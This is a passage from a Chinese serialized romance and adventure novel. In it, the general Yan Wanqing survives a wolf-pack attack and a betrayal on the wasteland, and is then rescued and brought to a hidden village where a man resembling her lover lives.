下一秒那匹到底的孤狼瞬间一跃而起,宛若一道白色的闪电,眼看着就要消失在众人的视线中。 “快杀了它啊!”李呈媛尖叫道。 燕晚清不得已,脚尖点起地上刚刚李呈媛丢弃的剑鞘,运用内力一下子刺向了孤狼。 瞬息间,剑鞘穿过孤狼的身体,然后没入了荒原上。 “嗷呜——” 随着一声哀嚎,孤狼在空中跃起的身躯,下一秒轰然坠落。 彻底没了气息。 鲜血顺着孤狼的身体四下弥漫开来。 燕晚清沉着脸呵斥道:“谁让你动的手!” “不动手难道等它回去喊狼群吗?狼群要是来了,我们所有人都活不下去。”李呈媛咬牙切齿的说道:“你想死我还不想死呢!” “可是荒原之上一旦弥漫血腥气味,你知道又会引过来多少比狼群还要可怕的生物?”小分队里的那个清秀的将士实在忍不住,开口质问道。 荒原之上又不止有狼这一种生物! 燕晚清沉着脸拽着李呈媛翻身上马。 “走,迅速离开这里!” 第一百八十九章 断垣残壁,狼群找过来了 可是马匹之间互相牵着绳子,根本没有办法快速离开。 燕晚清只能先让小队每六个人一队,分成五队。 后面的动静逐渐多了起来。 李呈媛从燕晚清的胳肢窝下面看过去,只看见一双双各种颜色的眼睛,吓得她赶紧将头缩了回来。 这些猛兽,都是嗅到了空气中的血腥气过来的。 很快身后传来了惨叫声。 燕晚清抿着唇将那些惨叫声抛之脑后。 “记住,这些都是因为你死去的将士。”燕晚清咬着牙说道:“他们本该为国战死在战场上,可是却因为你,死在了这无人问津的荒原之上!” 倘若不是李呈媛事情这么多,他们现在应该到达了村庄上,眼下是安全的,没有人会因此失去性命。 李呈媛想要反驳,张嘴就是一嘴的沙子,她只能忍着心里的火气,闭嘴不说话了。 燕晚清以为她在反思自己,才觉得刚刚自己说的话可能有些重了。 不过让李呈媛反省反省也不是不可以。 可是燕晚清忽略了一件事情,不是所有人的心都是肉长的。 李呈媛显然不是。 所以等到她带着李呈媛一路狂奔,周围的其他四支队伍已经消失了踪迹,只剩下了他们五个人。 身后的那些猛禽都已经被甩在了身后。 可是燕晚清一行人不敢麻痹大意。 “快看那里有个房子。”李呈媛突然惊呼道。 众人顺势看过去,依稀能够看出一个房子的造型来。 “过去看看。”倘若是个房子,那么一定距离村庄不远了。 众人心中希冀,可是好运不会这么快眷顾他们的,等走过去才发现,这就是个断垣残壁。 “这该怎么办啊?难道我们就要死在这里了?”队伍中年纪比较小的士兵,突然哭丧着说道。 他年纪小,情绪崩溃的比较快,眼下才突然出声,显然已经憋了好久,眼泪一直在眼眶中打转。 “不要胡说,我们一定能够走出去的。”旁边年纪大一点的将士看了一眼燕晚清的神色,打了一下那小兵的肩膀说道。 小兵抽噎着,用手背捂住了嘴小声的呜咽着。 “不要哭了,再哭就不客气了。”年纪大的见他还是这么不懂事,有些着急,生怕燕晚清此刻怪罪下来。 小兵被吓得捂住了嘴,不敢出声了。 燕晚清摆了摆手,不在意的说道。 “没事,我们先进去看看,没准有意外的发现。”众人翻身下马。 这是一处比较破旧的小房子。 门和窗户都比较破旧。 但是屋内有床有椅子,看来是刻意留给过路人休憩的地方。 李呈媛进去就坐在了椅子上。 “好歹是个避难的地方,今晚就在这里休憩吧。” 燕晚清用火折子将屋内残留的蜡烛点燃,看清楚了屋内的样貌。 四下漏风不说,房梁都有些摇摇欲坠。 倘若遇上稍微大型的禽兽,只怕都撑不住一盏茶的时间。 “这里不够结实,若是遇到猛禽,我们只有等死的份儿。”燕晚清不赞成的说道。 “哪有那么多的猛禽啊!”李呈媛不满的开口:“方圆百里,能够看得见的只有这一个房子,好歹是个住处,有门有床还有墙的,现在温度越来越低了,我们衣衫也单薄,待会儿温度彻底降下来,也是要死人的。” 李呈媛说着,见其他几个人面色动摇,她再次说道:“待会儿我们轮流值守,有什么风吹草动立刻上马离开,也是来得及的。” 小兵听到李呈媛的话,有些心动,他颤颤巍巍的举起了自己的手:“属下觉得瑶池县主说的有道理,眼下风沙大,迷失了方向,与其在沙漠中胡乱冲撞,不如留下来,以不变应万变。” 李呈媛见有人支持自己,立刻看向燕晚清:“反正本县主不走了,你要走自己走,你想死没有人拦着你。” 这个燕晚清总是想和自己唱反调。 真是烦人! 燕晚清之所以选择和李呈媛一路,便是为了她的人生安全,此刻她已经摆明要与这破房子共进退,燕晚清也没辙。 “那就把马匹都安置好,待会儿遇到特殊情况,立刻撤离。”燕晚清说道。 小兵立刻点头,赶紧去安置马匹了。 又从仅剩下的包袱中取出了毯子,都被李呈媛给拿了过去盖在了身上。 小兵原本是想要拿一条给燕晚清的,见状他皱了皱眉头,有些为难。 燕晚清远远的看见了,直接摆了摆手。 她现在根本不想听见李呈媛的声音。 能够不要让这个人说话,就不要说。 她有内力取暖,根本不在意是否有没有毯子。 燕晚清抱着长剑靠在一边的柱子上假寐,耳边是风吹着破窗带来的响声。 第一轮的守夜是小兵和那个老将。 中间是剩下的那个将士。 最后是燕晚清和李呈媛。 不过燕晚清根本没指望过她,等轮到她们,她自己守夜便是。 安排妥当之后,小兵便和老将收集了屋子里能够燃烧的碎木头,点燃成篝火取暖,两个人坐在了旁边烤火。 上半夜算是比较好过去的,主要还是下半夜。 小兵和老将唠唠嗑,上半夜就这么安全的过去了。 屋内烧着篝火,外面还有房子挡着大部分的风,比起其他几个不知道下落的队伍,小兵觉得这已经算是上苍开恩了。 “我还不困,还能再熬一熬。”小兵催促着老将快去睡觉。 老将要去喊中间接力的将士,也被小兵阻止:“我可以的,别喊他了,他白天累坏了。” 老将见小兵如此懂事,他笑了笑:“你别逞强,若是困了,尽管将他喊醒。” 小兵点点头:“我会的。” 老将也去睡觉了。 小兵用棍子将柴火拨的很亮。 不知道过了多久,燕晚清突然从睡梦中惊醒。 她睁开朦胧的眼睛,就发现屋子的周围多了很多双眼睛。 是狼! 很多只狼! 狼群找过来了! 燕晚清迅速从地上起身。 此刻守夜的小兵不知道什么时候歪着身子倒在了篝火旁边,口水顺着脸颊往下淌。 她蹙眉,猛地敲了一下柱子:“都起来!” 老将第一个起身,看清楚周围的情况之后,他赶紧喊醒了旁边的士兵,紧接着用脚去踹地上的小兵。 小兵被踹醒之后,揉着眼睛不知所措。 “怎么了?” 老将瞪了他一眼:“你怎么守夜的,你睡着了!” 小兵下意识看外面,与一只狼对视上了,瞌睡瞬间全部吓没了。 “狼!狼来了!”小兵叫出声,老将一把捂住了他的嘴:“闭嘴。” 好多的狼! 小兵吓得眼泪出来了。 他还年轻,不想死啊—— 第一百九十章 心狠手辣,推她下马 燕晚清拔出了手里的长剑,冲着他们说道:“快去看看马还在不在,待会儿我来拖住他们,你们带着县主先走。” 此时李呈媛听到了动静,皱着眉头,慢悠悠的睁开了双眼:“你们大晚上的吵什么?还让不让人睡觉了?” 在马背上颠簸了一天真,不知道这些人怎么还有力气在这边吵吵闹闹的。 李呈媛的怒气都写在了脸上。 “废话少说。”燕晚清低声呵斥的道:“等会我让你跑,你就赶紧跑。” “跑什么?”李呈媛一时半会儿还没有明白状况。 小兵指了指窗外。 李呈媛原本因为睡觉养好了七分红的血色,瞬间消失殆尽,面色苍白如纸。 狼群竟然找到了这里。 只是粗略的数了一下,竟然有二十多头。 “应该是那头狼死之前的哀嚎,吸引来的狼群。”李呈媛分析道,又忍不住看向了燕晚清埋怨:“倘若你听我的早些出手,直接杀了那狼,狼群根本不会找过来。” “李呈媛你要是再多一句嘴,不需要等到狼群把你分尸了,我就先杀了你。”燕晚清已经没了好脸色。 李呈媛被骂了心里十分不舒服。 从榻上起身下榻,李呈媛朝着旁边的角落过去。 “这里你功夫最好,你记得挡住狼群,让我先上马走。”李呈媛突然说道。 这句话说出来,所有人的目光都落在了的她的身上。 “燕帅就是这么安排的。”沉稳的老将突然开口说道:“不用县主再刻意嘱咐一句。” “本县主,不是怕她忘记了么。”李呈媛面色讪讪的说道。 性命攸关的大事,谁都会小心谨慎的。 只是左等右等都等不到那小兵回来。 老将心想不好,刚要出去。 那个年轻的将士捂着小腹,无力的扶着墙壁走了进来,他指着外面马匹的方向:“他,他……” 那个小兵竟然刺伤了同僚,然后自己骑着马跑了! 难怪狼群刚刚骚动了一下。 燕晚清皱着眉头看着那受伤的将士:“血腥味会刺激到狼群。” “眼下还剩下多少匹马?” 老将出去一趟回来,气喘吁吁的说道:“只剩下两匹了。” 剩下的马应该是慌乱之中各自散去了。 四个人,两匹马。 燕晚清和李呈媛一直都是一匹。 可是面前这个年轻的将士受了伤,他身上的血腥味会像刚刚那样,不断刺激到荒原之上的猛禽。 这是个十足的麻烦。 李呈媛看着年轻将士的神色都带了几分意味不明。 将士感受到自己要被抛弃,他朝着燕晚清伸了伸满是血色的手:“燕帅,救救我,我还不想死。” “这可由不得你决定了。”李呈媛在旁边冷声说道:“你现在就是个累赘,带着你我们谁都活不了,倒不如你自己走到狼群里,为我们争取活命的时间,这样的话本县主到时候不会亏待你的家人的。” 李呈媛说的话十分的恶毒,但是眼下却是个不得已而为之的办法。 燕晚清承认这个办法会替他们争取到充足的时间。 只是不太人道主义罢了。 不过她也不是虚伪的人。 士兵受的伤在腰腹,眼下已经流了很多的血,血液散发的诱惑的气息将门外的狼群引的不断狼嚎出声,它们将整个小破屋子全部围绕住,若是想要顺利翻身上马,只能有个人去引开狼群。 将士看着燕晚清,双眼都是泪水:“燕帅……” “快去!”李呈媛在旁边催促道。 将士从地上爬了起来,又重新跪下,朝着燕晚清磕了个头:“燕帅,就此别过。” 说完这句话,他毅然决然的打开了门。 燕晚清看着他的背影,伸出一只手:“你可还有什么临终遗言?” 将士背对着她:“没有了,刚刚都说完了。” 燕晚清心中一窒。 他说他不想死,想活下去。 可是他们却逼着他走进狼群,去为他们的一线生机走一条必死之路。 何其残忍? 听着将士被狼群分尸的惨叫声。 燕晚清眼中闪过了凌厉神色,一把拉着想要呕吐的李呈媛,快步从旁边走了出去:“走,上马!” 将士的尸体根本不够二十多头狼分食,很快饥饿的狼群又将目光放在了燕晚清等人身上。 此刻发现狡猾的人类竟然上了马匹,纷纷狼嚎出声提醒同伴。 “嗷呜——” 一声声的狼嚎紧跟其后。 燕晚清手上捏着缰绳不敢松懈。 狼群紧跟其后,锲而不舍,连续赶路的马儿速度上竟然就要落了下风。 就在燕晚清不知所措的时候,原本跟着自己并驾齐驱的老将突然扭头朝着相反的方向过去。 燕晚清疾呼出声:“不可——” “燕帅,属下去也!”老将鞭打着马匹,大笑着越来越远。 燕晚清眼看着身边的士兵一个个的全部消失,最后只剩下自己一个人,眼眶终于湿热起来。 她并非冷血冷情之人。 只是就像前面说的那样。 他们不该死在这里,不该死在这种情况下。 让他们抛头颅洒热血的地方,应该是战场! “燕晚清你是不是很难受?”身前的李呈媛突然开口说道。 燕晚清没有理她。 她怕自己一开口,就想杀了这个女的。 可是李呈媛却低低的笑出声来:“我知道,你现在心里恨不得杀了我,可是又不能杀,憋得你难受极了。” 她觉得心里十分的痛快。 燕晚清咬着牙:“这件事情,我不会就这么算了的。” 因为李呈媛失去性命的将士,她一定会讨个说法。 “真可怕。”李呈媛开口道,背对着燕晚清的她,眼神越发的恶毒起来:“你可是我不会给你追究我责任的机会的。” 身后是疾驰追过来的狼群,身前是李呈媛莫名其妙的话语。 燕晚清刚要有所警惕,只见李呈媛猛地掏出藏匿在袖子中许久的发簪,转身朝着燕晚清的胸口扎了上去,燕晚清抬手挡住,锋利的簪子直接扎在了她的肩膀上。 紧接着李呈媛猛地推开她的胸口,将单手捏着缰绳的燕晚清推下马去! 不过是瞬息之间就完成的事情,等到燕晚清重重的摔在砂石上,狼群已经将她给团团围住了。 第一百九十一章 萧苹风,真的很抱歉 饿狼将她团团围住,冒着绿光的兽眼死死的盯着燕晚清。 她旋身从地上一跃而起,顾不得肩膀上鲜血淋漓的伤口,手上的长剑已经从腰间剑鞘拔出。 “想要吃我,也得费些功夫的。” 剑意在周身酝酿,剑身发出阵阵低鸣,足以证明眼前的这个受伤的女子,不是好惹的。 但是狼群太饿了。 再加上他们杀了自己的同伴,这让饥饿的狼群十分愤怒,所以才会这样不遗余力的追着这群人。 高大威猛的狼王从狼群后面走了出来,它注视着燕晚清,发出了威胁的低吼。 燕晚清一张冷静的小脸上面竟然勾起了一抹微笑,水眸里都是兴奋:“竟然是一头百年难遇的银色狼王,若是死在你的手里,也不枉我燕晚清这一生了。” 狼王被人类恭维着,高傲的舔了一下爪子,然后放下,头颅压低,已然做出了要攻击的姿势。 燕晚清朝着它勾了勾手指。 “过来吧,让我见识一下银色狼王的厉害。” 传闻中银色皮毛的狼是百年难遇的,这种狼断奶就会被母狼抛弃,然后孤身一人在荒漠草原上长大,但是因为血脉特殊,哪怕是在草原上活了下来,也会早遇到人类的捕杀。 可是今夜竟然让她看见了一头成为了狼王的银毛狼。 银色狼王跟燕晚清绕着圈子,谁都不轻易出手。 周围的狼竟然丝毫不乱,乖巧的围成一个圈,足以证明狼王的统治能力。 终于狼王出手了! 它在空中猛扑了过来,目标就是燕晚清的喉咙,它想要一击致命,然后快速享受自己的胜利果实。 可眼前的这个人类显然不一般,她轻巧的抬手用长剑挡住了狼王的攻势。 不过很快狼王就注意到了燕晚清的右手臂膀受了伤,接下来的每次攻击,它都朝着右边攻击。 一下,两下……十下,二十下! 它像是不知疲倦一样,不断的扑向了燕晚清。 燕晚清在它一次次的攻势下,速度越来越慢。 终于在狼王最后一次的猛扑之下,她手里的长剑被扑掉在了地上。 狼王硕大的狼爪摁在了长剑之上,它朝着手上空无一物的燕晚清扬了扬下巴,似乎在嘲笑燕晚清最后还是要沦为自己的口粮。 燕晚清唇角露出一抹苦笑。 兵器也被抢夺了。 眼下只能靠肉身搏斗了。 狼王显然是没有想到这个人类这么的有意志力,它嗷呜一声,周围的狼群凑了上来,而狼王则是站在了一边。 燕晚清知道这是要车轮战累死自己。 可是为了活命她别无他法。 她也不想这么拼命啊,可是遥远的南方还有亲人等着她回家。 燕晚清一拳接着一拳,赤手空拳的和扑上来的饿狼打斗着,她的肩膀上,腿上都是狼咬伤的伤口,倘若不是身上特质的软甲太难去咬破,只怕现在燕晚清已经倒在地上被分食了。 精疲力尽的她靠着最后的意志力疯狂的还在和狼群搏斗,鲜血将她身上的衣衫全部染透,在地面的反光映衬下,那个清丽冷绝的美人,此刻已经成了个血人。 直到一匹狼猝不及防的咬在了她的肩膀上,燕晚清才轰然倒在了地上。 要……结束了吗? 死在荒无人烟的荒原上。 她不甘心。 她还没有报仇雪恨,还没有让父兄沉冤得雪,没有让该死之人都受到应有的惩罚……她就要死了吗? 泪水在她的眼眶中打转,最后凝结成一滴泪水,顺着她的眼角,缓缓流到了发丝之中。 她不甘。 究竟还是自己妇人之仁了,对李呈媛存了不该有的善念。 这才导致了自己走到现在这一步。 这一瞬间,她的脑海中闪过了很多的画面,最后定在了一张妖孽的面容上面。 她似乎还没有和他说一声抱歉。 他们的孩子,她是真的想要留下的,她用尽了力气,却依然保不住那个孩子…… 萧苹风,真的很抱歉。 燕晚清鼻尖很酸,有一种想要放声大哭的冲动,可是胸腔和周身的疼痛让她做不到。 可悲,连死之前的痛哭,都成了一种奢侈。 此时。 狼群缓缓的退到了后面。 狼王缓缓踱步到了燕晚清的跟前。 白色的气息在它的鼻腔中喷洒出来。 燕晚清平躺在地上,鲜血在身下逐渐散开成一朵血花,她朦胧中看到了雪花从天空中缓缓落下,落在狼王的毛发上,特别的好看。 她知道,狼王此刻要来享用自己的胜利果实了。 “你待会儿下嘴的时候,咳咳,能不能快一点。”燕晚清轻声的咳嗽,发出一声气音:“我,我怕疼。” 狼王居高临下的看着面前的人类。 浑身是血的她说自己怕疼。 它有些不太能够理解。 “来、吧。”燕晚清闭上了双眼,等待着死亡的到来。 结果她没有等来致命一击,确实一口软乎乎热乎乎的舔舐。 狼王伸出了舌头不停的舔舐着她的伤口。 燕晚清有些疑惑的睁开了双眼:“你是要折磨我么?” 之前的将士都是直接进去就被分食了,怎么到了自己这里,还要经历一遭被狼群折磨的痛苦。 她就这么不受待见么? 燕晚清唇角都是苦笑。 狼王拱着她的腰肢,将她丢在了自己的背上,就打算离开这里。 此时燕晚清被一番颠簸,已经疼晕了过去。 就在这时,一道疾驰而来的箭羽挡住了狼王的去处。 银色狼王低吼着呜咽一声,周围的狼群迅速炸开了毛,以防备的姿态看着箭羽来临的方向。 只看见一个人策马当先,身后跟着一个队伍。 那人手持长箭再次朝着狼王的位置射了过来。 狼王身上托着燕晚清根本没有办法轻易躲避,危急关头身边的狼跳跃起来,用身体挡住了这致命一击。 “嗷呜——”狼王见状嚎出声来。 其他的狼纷纷附和。 马背上的人再次拉弓,他疾呼呵斥道:“放下她,便留你一条性命,否则全部杀光,片甲不留!” 狼王在背上的燕晚清和周围的狼群属下之间犹豫。 此时第三支箭羽冲着狼王而来,这一次又是一只狼替它挡住了。 狼王迅速做出选择,它将背上的燕晚清迅速丢在了地上,然后呼唤着狼群离开。 随着一声接着一声的狼嚎,狼群迅速车里开来。 此时马背上的人也已经到了燕晚清的身边。 他几乎是从马背上飞过去的。 小心翼翼的将地上已经看不出颜色的小人轻轻的抱在了怀中。 他伸出手,颤颤巍巍的在鼻息上晃了一下,感觉到还有呼吸后,所有人都看到他僵直的脊梁柔软了几分。 “回去。”他抱着人走到了马前面。 黑马像是通人性一般,前面两条蹄子弯曲下来,压低了自己的马身,等到自己的主人顺利上了马之后,它才站直了身子,朝着刚刚来的方向奔驰而去。 “好在是赶上了。”马背上的人哑着嗓子呢喃道。 第一百九十二章 过来,抱我 很温暖。 这是燕晚清的第一个念头。 死后的阎王殿会这么温暖吗? 她是不是就要见到父兄了…… “不会,你不会死的。” 昏沉之中有人打断了她逐渐偏远的思绪,强行将她拽了回来。 下一秒,疼痛将她全部包裹中,疼的燕晚清直接睁开了双眼。 “嘶——”她忍不住抽气。 听到声音,外面赶紧进来了一个人,妇人打扮,面色慈祥的走到燕晚清的身边说道:“你醒了?” “这是哪里?”说话的时候,燕晚清才发现自己几乎开不了口。 “昨夜你落了单,被狼群攻击了,还记得吗?”妇人笑着说道:“我叫卓玛,你可以这样喊我,我的名字太长了,怕你记不住就不说了。” 卓玛意识到燕晚清刚醒过来可能会口渴,所以早早的准备的茶水放在边上。 “我扶你起来喝水。”善良的卓玛温柔的扶着燕晚清起身。 燕晚清忍着疼痛,喝完了这一杯水。 心中的饥渴终于缓解了不少。 她记得自己是直接被那狼王拱晕过去了,怎么又会出现在这里。 ““是谁救了我?” 燕晚清问道。 卓玛指了指之外面:“救你的人还在外面,等你好了,亲自跟他道谢。” 燕晚清想要再说些什么,可是大脑瞬间又被拉回了黑暗之中。 不知道是第几次醒过来,她觉得自己又疲惫又清醒。 此刻正是深夜。 燕晚清根本不知道自己躺了多少天。 估摸着常千户已经到了西凉城。 好在自己讲帅印交给他先带过去了,常千户为人有大义,所以燕晚清对他还是比较放心的。 现在她唯一焦灼的就是自己身上的伤。 她想要赶紧镇压倭寇,然后带着充足的兵力前去支援萧苹风。 经过被狼群攻击,燕晚清现在十分清晰知道自己想要什么了。 她要找萧苹风把事情的前因后果都交代清楚。 哪怕萧苹风后面不原谅自己,她也不会后悔。 再糟糕还能比昨晚糟糕吗? 燕晚清想开了。 她用手撑着自己的身子慢慢的起身,再这么躺下去,自己也要废掉了。 她的身体她自己心里清楚的狠。 除了被狼群攻击的咬伤之外,剩下的便是被李呈媛用簪子扎伤的臂膀。 李呈媛的簪子应该是特质的。 她记得自己拔出来的时候,簪子上面还有倒钩,上面挂着自己的血肉,疼的她头皮发麻。 眼下她只能依靠左手用力。 经过她不懈的努力,好在是靠着左手起来了。 燕晚清忍着疼痛慢慢的下床,然后穿鞋走到了门口,用手将门打开的瞬间,冷月的光辉从门口倾泻而下。 她第一次看见这么大的月亮。 大到感觉伸出手就能够触碰得到。 她从门口走了出去,发现自己是在一处砖瓦房之间。 四周都用砖瓦围成了墙,严严实实的,只有天上的月亮是自由的。 燕晚清绕着墙走了一圈,没有走出去。 按道理是不应该走不出去的,顶多是村庄的围墙,她又不是傻子,怎么可能走不出去呢。 可是走来走去都是墙。 燕晚清这算是明白了,有高人在这里设置了阵法。 她想要往回走,也发现找不到回去的路。 得,好不容易下床出个门,把自己绕到了阵法里面来了。 燕晚清没辙,只能开始寻找阵眼,将这个阵法破坏掉,然后重新回到原来自己待的房间去,也顺便看看自己究竟是到了哪里。 她忍着疼痛又走了一会儿,终于发现地上的几块石子摆的有些突兀,刚要过去,身后传来低沉的声音。 “你在干什么?” 燕晚清背过去的身子忍不住颤抖了一下。 身后的人皱着眉头走上前:“谁让你下来的。” 燕晚清转过头看过去,湿漉漉的眸子里倒映出对方英俊的面容,棱角分明的面容因为长年累月晒太阳的缘故,呈现为健康的古铜色,单薄的衣衫下面是健硕的身材。 “问你话呢,难道是个哑巴?”对方看着燕晚清蹙眉说道。 燕晚清愣了一下:“不是,不是哑巴。” “那你为什么自己下榻了。”来人蹙眉冷声说道:“伤口没好,就乱走,你知不知道你的伤口都冒血了。” 燕晚清头一次这么被人凶。 她有些呆傻的站在原地,不知所以。 “胡闹,不知道治疗你的药材有多贵多难找。”那人气呼呼的说道。 燕晚清瘪了瘪嘴:“那我给你钱。” “谁要你的臭钱。”男子想都没有想直接说道。 从这个男子一出现,就一直在对着自己发脾气,燕晚清也不知道自己到底是怎么了,忍不住鼻子就发酸。 她想要按捺住自己的心情,却怎么都压抑不下来。 泪水就像是不听话一样从眼眶中冒了出来。 被男子看见了,他先是一愣,紧接着说道:“说你两句你还哭了,跟狼王打假的时候也没见你哭啊。” “我哭了的。”燕晚清小声的反驳道:“疼哭了的。” 听着她又补充了一句话,男子忍不住想要勾起唇角,被他强行压了下去:“嗯,这样啊。” 燕晚清点了点头。 “原来你还知道疼啊。”男子忍不住说道。 “我也是人,肯定知道疼啊。”燕晚清盯着男子的双眼,十分认真的说道:“我又不是死人,死人才不知道疼呢。” “回去吧,我带你回去。”男子对着燕晚清说道。 他超前走了两步,却没有见燕晚清动作,挑眉问道:“你傻站着干什么?” 燕晚清很自然的伸出了双手:“我刚刚绕着阵法走了很多遍,你也说了我的伤口流血了,再走下去就要浪费你给我找的药了,不划算。” “那你想干什么?”男子警惕的看着燕晚清:“不会是想要我抱吧?” “不明显吗?”燕晚清张大自己的手臂,她只能抬一只手,所以努力张的很大,表示自己真的很需要面前男子助自己一臂之力。 男子皱了皱眉头:“你一个未出阁的姑娘,跟我搂搂抱抱成何体统。” 燕晚清见他站在原地,小脸逐渐变成了包子状。 她一瘸一拐的努力走到男子的跟前。 “喂!睡都睡过了,你现在装什么清白啊。” 第一百九十三章 与世无争,世外桃源 男子错愕的看着燕晚清。 “你到底在胡说八道些什么?!” 燕晚清见他依旧如此,左手直接上去摸他的脸,企图在他的脸周围摸出什么面具边角,可是什么都没有。 她蹙眉:“怎么会没有。” 这个声音,这个身高,这个举动,分明就是萧苹风。 她知道自己的感觉不会错的。 “疯疯癫癫,没有礼数。”男子伸出手拍开燕晚清的手,警告的说道:“虽然你长得很美很好看,可是我心里已经有了别人,是决计不会受到你的影响的。” 他说完,再也不看燕晚清一眼,直接甩手离去。 燕晚清的指尖还有他脸颊上的余温。 她站在原地,愣住了。 这到底是怎么一回事? 难道她真的认错人了? 失去男子的帮助,燕晚清在阵法里又废了好些功夫,才终于重新回到了房间里,此时卓玛已经一脸焦急在等待她了。 “伤口都已经崩开了,你不该出去的。”卓玛关心责备的语气让燕晚清心里一暖。 她有些不好意思的转移话题:“救我的人是一个这么高长得还好看的男子么?” “你们已经见过面了吗?怎么样,相处的愉快么,他是被格桑救回来的,估计过段时间也要走了。” “格桑?”燕晚清咀嚼着这两个字,心里突然有一种不上不下的感觉。 卓玛点点头:“格桑是我们这里长得最好看的姑娘,以后可是要嫁给西凉城城主的。” 格桑……是个姑娘。 卓玛帮助燕晚清重新清理了伤口,嘱咐她接下来的三日千万不能轻举妄动,随便下床走动。 为此善良温柔的卓玛甚至出言威胁燕晚清:“你要是再不听话,我就不帮你洗头了。” 燕晚清很吃这一套,接下来的三日,果真在床上呆着没有下来。 到了第四日的清晨,卓玛一推开门,就看见床榻上的燕晚清瞪着亮晶晶的双眼看着自己:“可以拆板子了吗?可以帮我洗头了吗?” 她生的好看,此刻刚起床绵软的语气,让卓玛几乎都要化了,根本没有办法去拒绝她。 于是卓玛带着还有些一瘸一拐的燕晚清慢慢的走出了阵法,到外面去洗头。 “待会儿你就乖乖站着就行,我帮你洗,你千万不要乱动,伤口还没有好,不能沾到水。” 燕晚清点点头:“好,都听你的。” 这是她几日以来第一次看见外面的世界。 这是一处红墙搭建起来的城池,很完美的和荒原融为了一体,房屋与房屋之间互相依靠,相辅相成,错综交错,村落虽小,可是却处处精致,每一处都蕴含了阵法。 实在是颇为玄妙。 燕晚清看的入迷。 她甚至忍不住想要和这个村落的创造者聊聊天,究竟是怎样的一个人才能想到这样去建筑村落。 “哦对了,你的长剑现在在格桑的房里放着,待会儿我带你去拿。”卓玛帮燕晚清拆掉了头发上的发簪,又补充道:“你身上的软甲也是,都放在一起。” “嗯好。”燕晚清点点头,收回了视线。 卓玛打了两盆热水,帮她洗头,洗完头之后细致的用干净绵软的布给她擦干。 天气比较炎热,燕晚清便直接披着三千青丝,跟在了卓玛的后面,去格桑家取回自己的东西。 村落包裹着的小道上,随处可见老者孩童,他们在阴影的地方谈笑玩乐,此处美好的就像是一处世外桃源。 卓玛看到燕晚清欣赏的入了迷,笑道:“你好像很喜欢我们的村子。” “与世无争,世外桃源。”燕晚清不吝啬自己的赞美。 又走了片刻,卓玛停了下来。 “到了。” 燕晚清抬头去看,看见一个窗户上长着五颜六色小花的房子,十分的精致好看,在房子的前面有个圆桌,此刻正坐着三两个年轻人,正在谈笑风生。 那天在阵法里被燕晚清错认成萧苹风的年轻人,也在其中。 此刻他正和旁边的青年不知道说些什么,眼角流露出的笑容,熟悉的让燕晚清心尖都有些发酸。 她实在不相信这个人不是萧苹风。 太像了,一举一动都是。 可是如果是萧苹风,为什么不与自己相认呢? 是没有原谅她么? 燕晚清心中酸涩,她跟在卓玛的后面走上前。 “我们来取这位姑娘的东西,格桑。” 被喊作格桑的姑娘穿着一条白色的罗裙,五官精致,双眼深邃,充满了异蕴风情的美貌,此刻欣喜的看着燕晚清,打量着:“原来你就是那天晚上逸之救回来的人,你长得真美。” 燕晚清笑着回道:“格桑姑娘也是燕姿丽质,美艳动人呢。” 逸之,是他的化名吗? 燕晚清心中想到。 格桑歪着头十分感兴趣的看着燕晚清:“你真有文化,夸我还用了成语。” 对此不知道如何接话的燕晚清只是勾唇笑了笑。 格桑突然响起来什么,说道:“我去拿你的东西。”她像是一只漂亮的白色蝴蝶飞进了房间里,很快抱着一把长剑和一个包裹走了出来。 那把剑很沉。 所以格桑拿出来的时候十分吃力。 她喘着气喊道:“逸之快来帮帮我,拿不动了,这把剑太沉了。” 逸之快速走过去,将格桑怀里的东西都拿了过来。 格桑冲着逸之温柔又娇气的笑道:“谢谢逸之!” 被撒娇的青年回以勾唇,眼里的星辰闪烁光亮。 燕晚清看着这一幕,心里突然就有些堵了。 易容,装作不认识她,还和别的女子打情骂俏。 这一盆接着一盆的冷水从燕晚清的脑袋上倾盆而下,几乎就要浇灭她所有的热情。 不过想到自己之前也是这么对他的。 燕晚清心里又稍微能够理解了。 还是要找个机会好好说清楚的。 “给。”逸之将包裹和长剑交给了燕晚清。 燕晚清背起了包裹,单手捏着长剑:“多谢。” “哇,你一只手就能够拿起来,你好厉害!”格桑忍不住对着燕晚清说道。 燕晚清捏紧手里的长剑:“没什么大不了的,唯手熟尔。” “你又说成语了,长得这么好看,还会说这么多成语,还会武功,你实在是太完美了。”格桑忍不住说道:“你可有婚配?” 婚配? 燕晚清下意识看向逸之,见对方丝毫没有看向自己。 她点头:“有的。” 第一百九十四章 幸福村,刻骨铭心的故事 “啊好可惜。”格桑遗憾地说道:“不过像你这样优秀的女子,没有婚配才是奇怪的。” 燕晚清拿到了自己的东西,也不想留在这里,虽然她不清楚萧苹风峰为什么要出现在这里,还乔装易容打扮成这样,但是燕晚清知道这么做一定有他的道理。 短暂的交集之后,她应该回到自己的位置上。 中将士们都在西凉城等着自己,她不能受困于眼前的儿女情长。 想到这里,燕晚清开口说道:“我身上的伤已经好了差不多了,今日过来取回自己的东西,一方面也是想要跟你们致谢救命之恩,感谢你们这几日对我的悉心照顾,可是眼下我身无傍物,不过等我去了西凉城,一定会派人回来感谢你们的。” “你要走?”卓玛听出来燕晚清清的意思。 燕晚清点了点头说道:“嗯,我还有很重要的事情要去做,在这里耽误的时间实在是太久了。” “你的包里有软甲,难道你的身份是将士?”格桑在旁边捂着嘴惊讶地问道。 燕晚清抬头看了她一眼,不知道是不是她的错觉,她总觉得这位格桑姑娘是在针对自己。 “关于我的身份实在是很抱歉,不方便透露,等到事情都结束了,我还会回来这里,到时候再向你们表明我的真实身份。” “好吧。”格桑小声地说道:“既然是这样的话,那我们也不能强行留你在这里做客了。” 旁边的逸之却突然开口问燕晚清:“你说你要去西凉城?” 燕晚清点头:“是的,不知道这里距离西凉城还有多远。” “不远,一日光景,早上出发,晚上便到了。”卓玛在旁边补充道:“我可以给你准备最好的马儿。” 对于卓玛的细心,燕晚清十分感激的笑了笑:“多谢你卓玛。” 周末拉着她的手:“这有什么,都是小事儿。” “刚好我也要去西凉城,不如我们同路吧。”逸之在旁边突然说道。 他话音刚落,格桑就嘟着红唇开口:“可是你不是跟我说等到种子都发芽之后再去吗?昨天种子已经种下去了,不出两日便会发芽,你这么着急的吗逸之?” 逸之伸出手,揉了揉格桑的头发,很自然的说道:“刚好有个同伴,早去早回嘛。” “那不行,那我也要去。”格桑撒娇地说道。 逸之没有拒绝格桑:“行,那就都去,反正也就一日路程,刚好听说西凉城前几日迎来了京都的军队,西凉城城主这几日要给京都的贵客举办欢迎宴会,到时候集市上一定很热闹,刚好给你买点花的种子回来。” 